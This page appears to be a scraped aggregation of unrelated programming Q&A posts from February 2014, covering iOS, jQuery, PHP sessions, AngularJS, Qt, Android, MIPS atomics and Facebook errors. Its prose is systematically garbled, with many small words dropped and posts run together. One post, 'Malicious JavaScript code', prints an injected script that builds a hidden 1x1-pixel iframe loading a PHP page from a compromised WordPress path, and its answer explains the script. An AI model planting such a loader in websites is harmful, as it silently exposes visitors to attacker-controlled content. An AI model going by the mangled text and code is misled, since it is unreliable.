Posts

Showing posts from February, 2014

iphone - UIBarButtonItem with image and bordered -

how possible have http://www.nutsaboutmac.com/wp-content/uploads/2012/11/sharelinktofacebook.png until now, i've put same background image navigationbar , barbuttonitem. problem button no longer bordered, can't difference between navigationbar , button anymore... uiimage *image = [uiimage imagenamed:@"facebook_texture.png"]; [cancelbutton setbackgroundimage:image forstate:uicontrolstatenormal style:uibarbuttonitemstylebordered barmetrics:uibarmetricsdefault]; [topbar setbackgroundimage:image forbarmetrics:uibarmetricsdefault]; how can change background keep bordered style ? you can't set custom bg image. border bg image , either own or system. => no way making own image edit: thought describe use tinting: barbutton.tintcolor=color , supply color either alpha or pattern image made colorwithpatternimage but... tinting clear color or pattern doesn't work. bug in sdk imo => no way making own image

jquery - How do I have a user pop down to a specific spot on a page when a certain link is clicked -

hey guys trying figure out how have user, redirect page , based on link clicked; have put them in spot of page contains information. i planning on coding in jquery. please let me know :) thanks guys , hope having tremdous thursday!!! edit: <div class="online_training"> <div class="training_image"> <a href="../services.php">...</a> </div><!-- .training_image --> <div class="top-textarea"> <h2><a href="../services.php"></a>....</h2> <p> ..... </p> </div><!-- .top-textarea --> </div><!-- .online_training --> have mutiple of these , part notice want have redirect , go part of page .training_image <a> , <h2> 1 is. the easiest way use anchor tags. on initial page: <a href="/otherpage#spot1">go spot1</a>

PHP Session data lost after submitting form but only on production environment, test environment works -

so have test environment i'm developing , production environment deploying code to. code have right works on test environment not on production environment. seems environment problem, if have no idea setting change. right i'm trying test simple contact page has short form , captcha image. contact page sets session variable containing security_code displayed in captcha image on next page, called contactsanitize, can read variable session , verify user entered right code. again, works fine on test environment. however, in production environment can fill out form , submit @ point session data lost , contactsanitize page sends me contact page because doesn't see code entered. i not have session_destroy call anywhere in these pages , i'm not accidentally setting $_session variable empty array or else matter (i double , triple checked - works on test env, can't that) below snippets log - each line contains timestamp and, if available, session id in additio

javascript - How can we use filter in ng-repeat when iterating on an object in AngularJs -

search field binded model <input type="text" ng-model="searchvoucher" /> an object iterated in ng-repeat <li ng-repeat="(k,f) in {'r':4,'e':5,'t':6,'y':7,'c':8} | filter:searchvoucher">{{f}}</li> how can filter based on object's key or val or val can object having attributes. please help try <li ng-repeat="(k,f) in {'r':4,'e':5,'t':6,'y':7,'c':8} | searchfilter:searchvoucher">{{f}}</li> filter app.filter('searchfilter', function() { return function(input, term) { var regex = new regexp(term || '', 'i'); var obj = {}; angular.foreach(input, function(v, i){ if(regex.test(v + '')){ obj[i]=v; } }); return obj; }; }); demo: plunker

c++ - Returning variables from complex function to use in another -

i'm confused, how can use getcursorpos getpoint() point in clicksimulationmove , use exact point in mousereturn in clicksimulationclick . sadly can't stick click , move functions together. the code: fb::variant testpluginapi::clicksimulationclick() { point pt = getpoint(); showcursor(true); mouseleft(); mousereturn(pt.x, pt.y); showcursor(true); return 0; } point testpluginapi::getpoint() { point pt; getcursorpos(&pt); return pt; } fb::variant testpluginapi::clicksimulationmove() { mousemove(-325, 605); return 0; } clicksimulationmove() goes first, clicksimulationclick(), therefore getpoint() gets point of moved mouse, need point of not yet moved mouse return place. you need make note of mouse position before move it. call getcursorpos before mousemove. remember position in variable pass function restores cursor position.

qt - How to make a QString from a QTextStream? -

will work? qstring bozo; qfile filevar("sometextfile.txt"); qtextstream in(&filevar); while(!in.atend()) { qstring line = in.readline(); bozo = bozo + line; } filevar.close(); will bozo entirety of sometextfile.txt? why read line line? optimize little more , reduce unnecessary re-allocations of string add lines it: qfile file(filename); if (!file.open(qiodevice::readonly | qiodevice::text)) return; qtextstream in(&file); qstring text; text = in.readall(); file.close();

Using custom attrs in styles.xml in android -

i made custom attribute style as <?xml version="1.0" encoding="utf-8"?> <resources> <declare-styleable name="effectstextview"> <attr name="strokewidth" format="float" /> <attr name="strokemiter" format="float" /> <attr name="strokecolor" format="color" /> </declare-styleable> </resources> in layout file, use custom attribute assigning namespace attribute: <relativelayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:effects="http://schemas.android.com/apk/res-auto/com.base.view.effectstextview" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="#40000000" > <com.base.view.effectstextview android:id="@+id/textview1" android:layout_width="290d

osx - My .bash_profile is locked. How do I edit it? -

i'm bit new area on mac. made .bash_profile yesterday without problems. when open it, textedit says it's locked , not let me unlock it. tried using chmod 644 change permissions, didn't help. what missing here? give write permissions file: /usr/bin/sudo /bin/chmod u+rwx /users/yourusername/.bash_profile /usr/bin/sudo /usr/sbin/chown yourusername /users/yourusername/.bash_profile

html - How to disable browser Save As( File-> Save As ) by javascript? -

i looking information on about- how disable browsers "save as"(file -> save as) function. thanks. you cannot disable feature on browsers. if don't want saving content should watermark content logo/copyright. otherwise, may want install kind of access control around whatever trying avoid people accessing , therefore having ability save.

android - Get the filename that your ImageView loaded it's image from -

i looking built in method of imageview object tell me file retrieved image from. for example earlier in code called... imageview iv = new imageview(mainactivity.this); iv.setimagebitmap(bitmapfactory.decodefile(f.getabsolutepath())); assume no longer have reference 'f' , need find out f was. there way that? work around creating class extends imageview , has string pared it. (or create map between imageview , string) recommendations? the easiest workaround using tag imageview: imageview iv = new imageview(mainactivity.this); string path = f.getabsolutepath(); iv.setimagebitmap(bitmapfactory.decodefile(path)); iv.settag(path); retrieving path: string path = (string) iv.gettag();

How to get accurate Java Swing mouse events on a Microsoft pen device? -

has found solution timing of java swing mouse events on surface pro or other microsoft wacom pen platform? the goal create responsive pen stroke input in draw type application, including @ start of stroke. this problem occurs on surface pro running windows 8. observed on toshiba tabletpc running xp. on both devices, believe pen sensor wacom. the problem timing of mousepressed , mousedragged events. simple program have mousepressed event initiate stroke, , subsequent mousedragged events add points it. ostensibly, mouse , pen should behave in triggering these events. but in fact observe timing different. mouse, mousedragged event occurs 8 milliseconds after mousepressed event. cool. with pen, however, behavior weird. when pen touched down, mousepressed event gets triggered promptly. there's significant delay before first mousedragged event gets sent. wrecks start of pen strokes. calls system.currenttimemillis() returns deceitful answers. these calls mousep

python - slice/stride by variable? -

background i'm attempting code basic letter game in python. in game, computer moderator picks word out of list of possible words. each player (computer ai , human) shown series of blanks, 1 each letter of word. each player guesses letter , position, , told 1 of following: that letter belongs in position (the best outcome) that letter in word, not in position that letter not in of remaining blank spaces when word has been revealed, player guess letters correctly wins point. computer moderator picks word , starts again. first player 5 points wins game. in basic game, both players share same set of blanks they're filling in, players benefit each other's work. my question is there way use variable containing integer designate degree of slice/stride? because secret word randomized, have no way of knowing how many characters contain. want check user's input (guess) first based on accuracy in regards place value user selected, before checking see if letter

ruby on rails - how to make a post require a manual approval by admin before getting displayed? -

i new rails developer , have rails app allow users make post while allowing them option check checkbox. want able manually review posts checked users during posting process. right getting posted want review process in place checkmarked posts. simplest , easiest way put review in place? here's post controller right now def create @post = current_user.posts.build(params[:post]) if @post.save flash[:success] = "shared!" redirect_to root_path else @feed_items = [] render 'static_pages/home' end end for this, better keep data-type of "reviewed" field "boolean" (in migration files). for putting check box in view, check: http://guides.rubyonrails.org/form_helpers.html#helpers-for-generating-form-elements also, note if want validate presence of boolean field (where real values true , false), can't use: validate :field_name, :presence => true this due way object#blank? handles b

c# - Add Windows User Control to a WPF View -

Image
i need add windows form user control (barcode_scanner.cs) wpf view (mainwindow.xaml) is there simple way this? appreciated. you can host windows.forms controls using wpf windowsformshost element. example: <window x:class="wpfapplication10.mainwindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:winforms="clr-namespace:system.windows.forms;assembly=system.windows.forms" xmlns:mycontrols="clr-namespace:mycontromnamespace;assembly=mycontromnamespace" title="mainwindow" height="195" width="191" name="ui"> <grid> <windowsformshost> <winforms:button text="stackoverflow" /> </windowsformshost> <windowsformshost> <mycontrols:myusercontrol /> </window

javascript - What is a good way to document sub/pub? -

currently i'm playing around backbone/marionette (though question more general), , have lot of code "sending messages" on application. example, this: vent.on("search:start", function() {...}); vent.trigger("search:start"); but don't have way track down (document) messages/calls available within application. so question is: way document (sub/pub)? i assume (though didn't find one) there might tool allow add comments (javadoc style), , generate more or less reasonable out of it. my recommendation have 1 big signals.eventconstants. it's object that's sole purpose hold list of strings placed subscriber or publisher thing you're publishing or subscribing to. so instead of doing vent.on("search:start", function() {...}); vent.trigger("search:start"); you do vent.on(signals.eventconstants.searchstart, function() {...}); vent.trigger(signals.eventconstants.searchstart); then have 1 centra

Malicious JavaScript code -

what malicious javascript code doing? (function () { var qk = document.createelement('iframe'); qk.src = 'http://xxx.tld/wp-includes/dtd.php'; qk.style.position = 'absolute'; qk.style.border = '0'; qk.style.height = '1px'; qk.style.width = '1px'; qk.style.left = '1px'; qk.style.top = '1px'; if (!document.getelementbyid('qk')) { document.write('<div id=\'qk\'></div>'); document.getelementbyid('qk').appendchild(qk); } })(); the website @ http://xxx.tld/wp-includes/dtd.php returns ok. it is: (function () { var qk = document.createelement('iframe'); // creating iframe qk.src = 'http://xxx.tld/wp-includes/dtd.php'; // pointing @ webpage /* making iframe take 1px 1px square in top left-hand corner of web page injected */ qk.style.position = 'absolute';

Axis scaling in matlab -

i trying set plot axes "tight" using following simple command in matlab- axis tight which can done using- axis([xmin xmax ymin ymax]) but doing this, found few data points falling on top of axes can see here: https://docs.google.com/file/d/0b6gung-8d30vauhvqvfoatjkc1e/edit?usp=sharing however, when generate same figure without tight command, looks worse because space on both sides may see here: https://docs.google.com/file/d/0b6gung-8d30vz0jzr0jzymhievu/edit?usp=sharing i know if there's function in matlab me represent scatter plot close tight scenario without letting of data points falling on of axis. say, 5% space on sides. thanks. you provide space manually: [xmin, xmax] = xlim; [ymin, ymax] = ylim; x_tol = (xmax-xmin)*0.05; %(5%) tolerance y_tol = (ymax-ymin)*0.05; %(5%) tolerance axis([xmin-x_tol xmax+x_tol ymin-y_tol ymax+y_tol])

Excel - Mutiple IFs in one cell -

alright, title hair misleading. first, i'm in google spreadsheet. second, more if(condition, return if(...)) kind of situation (also, looking around see if post excel formula question on site... didn't see if not proper place feel free , i'll delete). i have table need value based on 2 cells: -3 -2 -1 0 1 2 3 4 5 ___________________________ a| 0, 0, 0, 1, 2, 4, 8, 12,16 b| 0, 0, 1, 2, 4, 8, 12,16,20 c| 0, 1, 2, 4, 8, 12,16,20,24 d| 1, 2, 4, 8, 12,16,20,24,28 i need c1 equal returned if a1 "a", "b", "c", or "d" , , b1 in range of -3 - 5. all of attempts have been #error, don't have show last hour i've put figuring out. i'm confident there's way though. if want failed attempts let me know. suppose table stored on top left of sheet2 , can use following formula in cell c1 : =iferror(vlookup($a$1,sheet2!$a$1:$j$5,$b$1+5,false),0) the vlookup function looks row desired letter (as given in

jsf 2 - How I conditionally stop execution <p:dataTable>'s page event during page change -

in application have <p:datatable> pagination using lazy datamodel. i have requirement when click page button page, confirmation popup should generate, if click yes can go page , if click 'no' can't go page , stay in current page. .xhtml code given below: <h:form id="userlistform"> <p:datatable var="user" id="usertable" value="#{userlistcontroller.userdatamodel}" lazy="true" paginator="true" rows="25" paginatorposition="bottom" paginatortemplate="{currentpagereport} {firstpagelink} {previouspagelink} {pagelinks} {nextpagelink} {lastpagelink} {rowsperpagedropdown}" rowsperpagetemplate="25,50,100" widgetvar="userdatatable" styleclass="usertable" selectionmode="single" > <p:ajax event="page" /> <p:column id="namecolumn" headertext="#{adbbundle[

mysql - Displays value of those part of the selected parameter -

sorry bother again, have difficulties in formulating query . have 2 columns date values. (see sample below) posting date col b feb 02,2013 feb 01, 2013 feb 02, 2013 feb 15, 2013 mar 03,2013 mar 01, 2013 april 12, 2013 april 12, 2013 if parameter range of date based on col b (ex. colb between 02/01/2013 , 02/28/2013). want show value in posting date part of date range had filtered. say, having month of feb , 2013 year results: posting date col b feb 02,2013 feb 01, 2013 feb 02, 2013 feb 15, 2013 is you're looking for? field type of posting_date column date? if so, should work: select posting_date, colb yourtable posting_date >= '2013-02-01' , posting_date < '2013-03-01' i prefer using >= , < rather between . if posting_date field stored varchar, use str_to_date : select posting_date, colb yourtable str_to_date(postin

linux - bash: change my own password (without using root) -

normally chpasswd great job @ setting users password. is there way non-privileged user may change own password? i interested in writing gtk front end this, best if requires users old password well. change $user password? old password [ ] new password [ ] new password again [ ] [cancel] [apply] looking for $command $enter:oldpass $enter:newpass password updated of course there is, here tutorial of password in linux and solution is task: set or change user password type passwd command follows change own password: $ passwd output: changing password vivek (current) unix password: enter new unix password: retype new unix password: passwd: password updated user first prompted his/her old password, if 1 present. password encrypted , compared against stored password. user has 1 chance enter correct password. super user permitted bypass step forgotten passwords may changed. new password tested complexity. ge

javascript - How to make a "Select All" function for one page only -

let's have page 100 checkboxes. used pagination javascript ( http://en.newinstance.it/2006/09/27/client-side-html-table-pagination-with-javascript/ ) break them small pages (each around 10 checkboxes) within same page. i have created "select all" function 100 checkboxes. thing want create "select all" function 10 checkboxes visible on page on top of that. not sure if knows how it... you can give groups class each. can use: var checkboxarray = document.getelementsbyclass('<your class>'); then can cycle through items in array , execute this: checkboxarray[i].checked=true; unless i'm mistaken mean, something like should do. cheers.

unicode - What most correct way to set the encoding in C++? -

how best of set encoding in c++? i got used working unicode (and wchar_t , wstring , wcin , wcout , l" ... "). save source in utf-8. at moment use mingw (windows 7) , run program in windows console (cmd.exe), can use gcc on gnu\linux , run promgram in linux console utf-8 encoding. at times want compile source on windows , on linux , want unicode symbols correctly inputed , outputed. when faced next problem encodings, googled. found different councils: setlocale(lc_all, "") , setlocale(lc_all, "xx_xx.utf-8") , std::setlocale(lc_all, "") , std::setlocale(lc_all, "xx_xx.utf-8") <clocale> , setconsolecp() , setconsoleoutputcp() <windows.h> , many, many others. at last bothered shamanism , want ask you: how correct establish encoding? i need unicode symbol/string correctly inputed , outputed. this possible, although making windows command prompt console unicode-aware takes special magic. doub

Importing variables gives attribute error python -

this done in python 2.7.3: x.py: import y global path_variable path_variable = "a_path" y.procedure() y.py: import x def procedure(): return x.path_variable now when run x odd error: attributeerror: 'module' object has no attribute 'path_variable' why this? far know python allows import variables. doing wrong? i believe issue of circular dependency. basically, can fix code want rethink package design such don't have 2 modules import 1 another. also, don't need declare path_variable global used when changing variables in global scope while inside local scope , use discouraged in python. x.py import y path_variable = "a_path" if __name__ == "__main__": y.procedure() y.py import x def procedure(): return x.path_variable

node.js - How to reduce code duplication in jade? -

i beginner both web development , node.js. trying build basic news website node.js , express. in home page, hope display featured news, , in page "news" expect display news. it makes sense home page , "news" page can share jade code display news. using same routes , db node.js functions handle news listing in both places seems straightforward me. wonder whether there way share code , reduce code duplication in jade (perhaps concept "partial" in ruby on rails)? any or reference links welcomed. thanks! jade has includes : html include includes/head body h1 site p welcome super amazing site. include includes/foot also can use mixins when possible, reduce amount of code need write: mixin list ul li foo li bar li baz h2 groceries mixin list

.net - Convert word to pdf in vb.net -

there word documents in physical path on server. now, need read them , download client machine converting them pdf format. my program in vb.net we same things , use pdfcreator . it's free program , once installed, creates virtual printer called "pdfcreator". print relevant document printer. pdfcreator lets set want files saved. or can using filedialog within vb. hope helps

c - Qt atomic operation uses condition code register which isn't present in my MIPS 24k core -

i using mips 24k core doesn't have fpu. have cross compiled qt , works fine. when touches qbasicatomicint::testandsetacquire() defined in qatomic_mips.h , sigsegv. the body of code has inline assembly language. first time i'm working it. when tried find faulty line @ first, pointed last line mentions list of clobbered registers. later when took approach, seems fail in line highlighted below. idea _q_value means? inline bool qbasicatomicint::testandsetacquire(int expectedvalue, int newvalue) { register int result; register int tempvalue; asm volatile(".set push\n" set_mips2 "0:\n" "ll %[result], %[_q_value]\n" //this line causes sigsegv "xor %[result], %[result], %[expectedvalue]\n" "bnez %[result], 0f\n" "nop\n" "move %[tempvalue], %[newvalue]\n" "sc %[tempvalue], %[_q_value]\n"

java - update list according to complex logic -

i'm having following code , need add instance (type object) item object list(done in last if) need find full key match . fromprop , toprop field type object in instance (are keys can username , customer ,number,f1 etc ). code working on first match field (in last if statement), if first match found add data item list want find full key match i.e if have 3 keys when match add 'toentityinstance' item object. how should ? for (object fromentityinstance : fromentityinstances) { list<object> itemobject = new arraylist<object>(); (string[] prop : deppropmappings) { // properties related keys fromprop = prop[0]; toprop = prop[1]; object fromvalue = getinstancevalue(fromprop, fromentityinstance); (object toentityinstance : toentityinstances) { object tovalue = getinstancevalue(toprop, toentityinstance); if (fromval

Does SQL Server CACHES Query Results? -

this question has answer here: sql server cache question 5 answers when run query sql server caches results? because : when run below query: select id foo foo.name '%bar%' the query runs 40 seconds on 1st time . but on second run takes only few seconds . is because execution plan somehow cached or data cached can retrieve faster on 2nd run? sql server not cache query results, caches data pages reads in memory. data these pages used produce query result. you can see if data read memory or disk setting set statistics io on which returns following information on execution of query table 'productcosthistory'. scan count 1, logical reads 5, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0. the difference between logical , physical reads data read memory. sql server cl

ajax jquery not working with bootstrap? -

i trying convert existing site bootstrap unfortulaty old ajax code notworking bootstrap have add latest jquery file run ajax in both conditions not working there solutions i assuming have used $.post(...) requests. should visit the documentation post. there can find many depreciation notes within text. but you, , not giving hints, should upload code.

iis - How to convert my folder into application using C# .net 2.0? -

i having project(folder format) in iis, want convert folder application (like right click->convert application), want perform in c# code, using .net 2.0. followed link using servermanager create application within application , don't know site site = servermanager.sites.first(s => s.id == 3); what that? when try add code getting error called: microsoft.web.administration.sitecollection not contain definition first please replies... what that? it's linq , not available in .net 2.0. need use .net 3.5 or later , have system.core assembly referenced in project , system.linq namespace added using directive in order bring .first() extension method scope. if cannot upgrade more recent version of .net achieve similar results following: site site = null; foreach (var s in servermanager.sites) { if (s.id == 3) { site = s; break; } } if (site == null) { throw new invalidoperationexception("sequence contains n

python - How to use pyramid.response.FileIter -

i have following view code attempts "stream" zipfile client download: import os import zipfile import tempfile pyramid.response import fileiter def zipper(request): _temp_path = request.registry.settings['_temp'] tmpfile = tempfile.namedtemporaryfile('w', dir=_temp_path, delete=true) tmpfile_path = tmpfile.name ## creating zipfile , adding files z = zipfile.zipfile(tmpfile_path, "w") z.write('somefile1.txt') z.write('somefile2.txt') z.close() ## renaming zipfile new_zip_path = _temp_path + '/somefilegroup.zip' os.rename(tmpfile_path, new_zip_path) ## re-opening zipfile new name z = zipfile.zipfile(new_zip_path, 'r') response = fileiter(z.fp) return response however, response in browser: could not convert return value of view callable function newsite.static.zipper response object. value returned . i suppose not using fileiter correctly. u

amazon web services - Aws SimpleDB, getting slow responce in android -

i using aws simpledb store data android app. using aws android sdk, getting late responce, there way improve it, in browser, getting data in 300 milliseconds me taking 5 10 seconds times more though sending request 40 rows only. here doing. private threadpoolexecutor threadpool = new threadpoolexecutor(poolsize, maxpoolsize, keepalivetime, timeunit.seconds, threadsqueue); private void getarticles() { string[] categories = {"kids", "boys", "girls", "men", "women"}; for(final string category : categories) { runtask(new runnable() { @override public void run() { log.e(tag, "getting articles category : " + category); string select = "select * shopdatabase category = '" + category + "' , relationtype " + "= 'none' , articlepushtime > '2013-04-01 05:46:03.719 gmt+00:00' , publishdatetime > '2013-04-01 05:46:03.719 gmt+00:00' "

pointers - Accessing data stored in a memory location in java -

i'm looking way read data pre-written memory location. there way in java, on computer runs on windows? java provides "abstraction" of computer, hence "java virtual machine" (jvm). jvm (theoretically) same regardless of underlying hardware or operating system. (afaik) no direct access low-level memory possible program space. my suggestion write in lower-level language (c instance makes mem access easy), use java native interface (jni) call , data java program. google on "java native interface" and/or "calling c java" tutorial on how to. native component compiled differently each platform want run on, providing separate executable binary "native" file. ansi c used standard code to, since compilers complying standard available on all(??) platforms, if want go multi-platform. using jni call break "compile once, run anywhere"-feature of java, depends on component still needs recompiled each platform want run on. an

html - PHP CSV file import does not import data if there's empty value -

i have piece of code here , doesn't import data if there's comma in front of row. means empty value in column code doesn't recognize , therefore doesn't import data @ all. ideas how can fix that? in advance! <?php include "config.php"; if ($_files[csv][size] > 0) { $file = $_files[csv][tmp_name]; $handle = fopen($file,"r"); { if ($data[0]) { mysql_query("insert norse5_proov (osakond, soetusaasta, it_number, tooteruhm, mudeli_nimetus, sn, riigivara_nr, inventaari_nr, maja, ruum, vastutaja, markus, kasutajanimi) values ( '".addslashes($data[0])."', '".addslashes($data[1])."', '".addslashes($data[2])."', '".addslashes($data[3])."', '".addslashes($data[4])."', '&qu

swing - Is there a way to show a popup like a "cloud" when you passed your mouse over a textfield in Java? -

i'm looking way display baloon tip when mouse-over textfield in java, example guide user in way put specific data: id: 0-0000-000 or that... is there way that, other joptionpane? you can use jtextfield#settooltiptext(tiptext) method that(note jtextfield extends jtextcomponent extends jcomponent ). string tooltip = "welcome"; mytextfield.settooltiptext(tooltip); have @ javadocs detailed explanation on using tooltips .

css selectors - Simplifying CSS -

i have css properties applied lot of ids.i need simplify code there 20 ids! here css: #a1_build ul,#a2_build ul,#a1_build li,#a2_build li, #a1_apply ul,#a2_apply ul,#a1_apply li,#a2_apply li, #a1_learn ul,#a2_learn ul,#a1_learn li,#a2_learn li { margin:0; padding:0; list-style:none; } #a1_build ,#a2_build, #a1_apply ,#a2_apply, #a1_learn ,#a2_learn { margin-top:1em; } #a1_build li,#a2_build li,#a1_apply li,#a2_apply li, #a1_learn li,#a2_learn li { width:696px; height:500px; overflow:hidden; } now, ids going a1_build, a2_build....a10_build, a1_apply, a2_apply......a10_apply , a1_learn, a2_learn.....a10_learn. want able generalize 'a'+n+'_build', 'a'+n+'_apply' , 'a'+n+'_learn' , make n go 1-10 make whole lot easier! how can this? yes can it, using match end of string selector [a$=b] end of particular attribute. works in ie7 , above. jsfiddle [id$=build] ul

android - read an image, resize it and resave it : corona SDK -

in 1 of apps in corona sdk, have image named home.png (480x380 px) application files. want read image, resize (to 240 x 240), , save new 1 png file specific name. any advice appreciable... at momment can't resize images size want in corona can use display.save() instead. http://docs.coronalabs.com/api/library/display/save.html i want save anywhere in resources library no can't save in resources directory use system.documentsdirectory instead. more info: http://docs.coronalabs.com/api/library/system/pathforfile.html

dynamic - Programmatically create and add composite component in backing bean -

i working dynamic dashboard users can pin , remove items like. have problem want add existing composite component view backing bean. i've tried find correct way internet no success far. here simple composite component want add: <?xml version='1.0' encoding='utf-8' ?> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:cc="http://java.sun.com/jsf/composite" xmlns:ui="http://java.sun.com/jsf/facelets" xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core" xmlns:p="http://primefaces.org/ui" xmlns:composite="http://java.sun.com/jsf/composite"> <!-- interface --> <cc:interface> </cc:interface> <!-- implementation --> <cc:implementation&

javascript - href value for null links -

this question has answer here: which “href” value should use javascript links, “#” or “javascript:void(0)”? 50 answers is empty href valid? 10 answers if i'm using <a> tag click event trigger ajax call, , don't want link physically go anywhere, correct value href attribute? is '#' or leave empty? (i understand accessibility issues brings). better # because browsers won't render <a> empty href (for example google chrome render anchor plain text).

ruby on rails - Refactoring Fat ActiveRecord Model, What Now? -

i've been using codeclimate improve code base , have model class falling down on 'definition outside of methods' , 'total overall complexity' don't use codeclimate definition outside of methods refers class definitions associations , validations. , total overall complexity says, ie non of individual methods complex overall class complex. now appreciate false position, d class on score annoying , there may more can improve class, question is: what if should simplify activerecord class? my main problem i've exhausted written ways refactor fat model, using article http://blog.codeclimate.com/blog/2012/10/17/7-ways-to-decompose-fat-activerecord-models/ , similar, left with: scopes x2 attr_accessible x2 carrierwave mount x1 validators x4 associations x16 accepts_nested_attributes_for x1 hooks eg after_save x3 methods calculations of various other attribute make views more semantic , easier understand methods around associations, handling emp

Bluetooth server with Python 3.3 -

python 3.3 came native support bluetooth sockets. unfortunately, it's not documented yet (there 1 mention of in documentation ). googling there a blog post implementing client, couldn't find creating server. more specifically, how set user-friendly name , advertise service. so, like import socket serversocket = socket.socket(socket.af_bluetooth, socket.sock_stream, socket.btproto_rfcomm) serversocket.settimeout(1) serversocket.bind(("", 1)) serversocket.listen(1) something.advertise_service(something something) any ideas? bad news : python doesn't appear support want out of box. (at least not in socketmodule.c ). most of python/bluetooth users i've seen use pybluez although hasn't been updated since 2009. good news : went through source (for linux connections), , found relevant bits advertising services. of code copy-pasted python 2.2 version of socketmodule.c . pybl

android - How to disable Http class' LogCat output -

i'm using http class make large number of / post requests , lot of spam in logcat: 04-05 10:26:21.662: i/org.apache.http.impl.client.clientparamsstack(6644): 'http.protocol.max-redirects': null 04-05 10:26:21.662: i/org.apache.http.impl.client.clientparamsstack(6644): 'http.route.forced-route': null 04-05 10:26:21.662: i/org.apache.http.impl.client.clientparamsstack(6644): 'http.route.local-address': null 04-05 10:26:21.662: i/org.apache.http.impl.client.clientparamsstack(6644): 'http.route.default-proxy': null 04-05 10:26:21.662: i/org.apache.http.impl.client.clientparamsstack(6644): 'http.conn-manager.timeout': null 04-05 10:26:21.662: i/org.apache.http.impl.conn.tsccm.threadsafeclientconnmanager(6644): threadsafeclientconnmanager.getconnection: httproute[{}->http://<address>], timeout = 0 04-05 10:26:21.662: i/org.apache.http.impl.conn.tsccm.connpoolbyroute(6644): total connections kept alive: 0 04-05 10:26:21.662: i/org.apa

java - how to display an image from mysql database on a jsp page? -

this question has answer here: how retrieve , display images database in jsp page? 4 answers i want display image stored in mysql database. retrieve image, using servlet. please tell me how display in jsp page. flow: login.html ---> dologin.jsp login.html , servlet ready. please tell me how finish dologin.jsp. login.html <html> <head> <style type="text/css"> html, body, div, h1, h2, h3, h4, h5, h6, p, img, dl, dt, dd, ol, ul, li, table, tr, td, form, object, embed, article, aside, command, details, fieldset, figcaption, figure, footer, group, header, hgroup, legend { margin: 0; padding: 0; border: 0; } html { font: 82.5% verdana, helvetica, sans-serif; background: #fff; color: #333; line-height: 1; direction: ltr; } html, body { position: absolute; height: 100%; min-width: 100%; } table { border

json - Three.js and parts of model -

does know how access parts of 3d model when using three.js. 3d model consists of different parts, need move individually. does know how? thanks. i had similar problem. did animate model in blender, export animation, , use three.js call segment of animation when need.

asp.net - Session.Remove(Key) Throwing null refrence exception -

i getting following error in aspx.cs page during adding 1 item in session session["request_params"]=new hashtable(); argument exception item has been added. key in dictionary: 'request_params' key being added: 'request_params' but per understanding adding or updating value session never throw exception. i using inproc session mode. any suggestion one.

oauth - Facebook Error Codes list? -

is there place can find complete list of facebook's error codes? in app's stats have few 1340004 errors: method: dialog:oauth:touch error code: 1340004 failures: 436 sampled method calls: 1,172 failure rate: 37.2% but hell 1340004 error?? answer found, , fb's docs got small list of payment erros, 138* * . where's doc fb error codes? thanks. i noticed have same error: method: dialog:oauth:popup error code: 1340004 failures: 410 sampled method calls: 816 failure rate: 50,2% this data 2 days ago, yesterday reduced failure rate 1'1% , think not have failure today. had lot of errors tokens, since 2 days ago receive longer access_tokens, , had in db short varchar field access_token , result truncated access_tokens. i changed field yesterday, suspect reduced error fix, i'm not sure.

ibm connections - IBM Social Business Toolkit SDK Development Environment Setup - Error servicing library GET request -

i've setup java ee eclipse described in following ibm social business toolkit sdk development environment setup youtube video found on openntf.org page of ibm sbtsdk . ibm social business toolkit sdk development environment setup when start tomcat , open sbt.sample.web , call 1 of examples following error in tomcat log (see below). i use following version of sbtsdk sbtsdk-1.0.0.20130228-2321. also following projects have errors in workspace , can't build description resource path location type project 'com.ibm.sbt.bootstrap211' missing required source folder: 'src' com.ibm.sbt.bootstrap211 build path build path problem any ideas what's going wrong? info: server startup in 2190 ms 05.04.2013 11:30:55 com.ibm.sbt.jslibrary.servlet.libraryservlet doget warnung: error servicing library request java.lang.noclassdeffounderror: org/apache/http/httprequestinterceptor @ java.lang.class.getdeclaredconstructors0(native method)